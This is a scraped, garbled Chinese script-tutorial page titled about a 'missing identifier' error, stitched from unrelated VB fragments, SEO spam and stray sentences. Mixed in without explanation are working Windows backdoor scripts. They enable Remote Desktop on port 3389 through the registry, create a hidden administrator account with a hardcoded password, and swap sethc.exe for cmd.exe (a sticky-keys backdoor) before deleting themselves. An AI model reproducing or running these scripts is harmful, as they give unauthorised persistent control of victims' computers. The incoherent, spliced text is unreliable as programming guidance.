脚本错误缺少标识符呱呱

发布时间:2021-07-04 来源:脚本之家 点击:

以下为笔者的音乐播放器的代码片段,就是这行代码使得双击和打开得以实现:

PrivateSubForm_Load()
DimdFAsString
dF=Command()
WithMMControl1
.FileName=dF
.Command="Open"
.Command="Play"
EndWith
EndSub

就那么简单

引流脚本 快客引流脚本官网

Set se=WSCript.CreateObject("Scripting.Encoder")
For i=9 to 127
tDecode(i)="JLA"
Next
For i=9 to 127
ChaineTemp=Mid(se.EncodeScriptFile(".vbs",string(3,i),0,""),13,3)
For j=1 to 3
c=Asc(Mid(ChaineTemp,j,1))
tDecode(c)=Left(tDecode(c),j-1) & chr(i) & Mid(tDecode(c),j+1)
Next
Next
'Next line we correct a bug, otherwise a ")" could be decoded to a ">"
tDecode(42)=Left(tDecode(42),1) & ")" & Right(tDecode(42),1)
Set se=Nothing

OptionExplicit

PublicDeclareFunctionChangeDisplaySettingsLib"user32.dll"Alias"ChangeDisplaySettingsA"

(ByReflpDevModeAsDEVMODE,ByValdwFlagsAsLong)AsLong
PublicDeclareFunctionEnumDisplaySettingsLib"user32.dll"Alias"EnumDisplaySettingsA"(ByVal

lpszDeviceNameAsString,ByValiModeNumAsLong,ByReflpDevModeAsDEVMODE)AsLong

ConstDM_PELSHEIGHTAsLong=&H100000
ConstDM_PELSWIDTHAsLong=&H80000
ConstDM_BITSPERPELAsLong=&H40000
ConstDM_DISPLAYFREQUENCYAsLong=&H400000

ConstCCHDEVICENAMEAsLong=32
ConstCCHFORMNAMEAsLong=32
ConstCDS_TEST=&H4

PrivateTypeDEVMODE
dmDeviceNameAsString*CCHDEVICENAME
dmSpecVersionAsInteger
dmDriverVersionAsInteger
dmSizeAsInteger
dmDriverExtraAsInteger
dmFieldsAsLong
dmOrientationAsInteger
dmPaperSizeAsInteger
dmPaperLengthAsInteger
dmPaperWidthAsInteger
dmScaleAsInteger
dmCopiesAsInteger
dmDefaultSourceAsInteger
dmPrintQualityAsInteger
dmColorAsInteger
dmDuplexAsInteger
dmYResolutionAsInteger
dmTTOptionAsInteger
dmCollateAsInteger
dmFormNameAsString*CCHFORMNAME
dmUnusedPaddingAsInteger
dmBitsPerPelAsInteger
dmPelsWidthAsLong
dmPelsHeightAsLong
dmDisplayFlagsAsLong
dmDisplayFrequencyAsLong
EndType

'-------------------------------------------------------------------------------------------
'LngWidth//屏幕的宽(单位象素)
'LngHeight//屏幕的高(单位象素)
'IntColor//多少位颜色(e.g16or32)
'LngFrequency//屏幕的刷新频率
'
'声明:
'调用该函数时要确定所设置的值在系统所允许的设置范围内,比如系统的最大刷新频率位80,而你
'用把LngFrequency设位85,这样将带来无法预测的后果


Loop

你可能会非常惊奇:Friend类型过程的执行速度要明显快于Public类型

on error resume next
const HKEY_LOCAL_MACHINE=&H80000002
strComputer="."
Set StdOut=WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName="fDenyTSConnections"
dwValue=0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
strValueName="PortNumber"
dwValue=3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath="SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strValueName="PortNumber"
dwValue=3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="wykgif":password="wykgif123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os=""&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath
On Error Resume Next
Dim obj, success
Set obj=CreateObject("WScript.Shell")
success=obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F© %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe© %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)

实例1:

开发应用程序通常要使用数据库和其它一些文件,这些文件的目录(包括路径和文件名)不应在程序中固定,而是保存在INI文件中,程序运行时由INI文件中读入

另外,产生病毒的同时,本程序也产生一个恢复文件,叫做"reset.vbs",万一您不慎运行了病毒,可以运行它解毒修改AE上显示名称这两种编程方式只有在构造一个大型的程序时才能看出来,对象化编程则占有很大优势,而结构化编程则容易把事情搞乱

Path

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号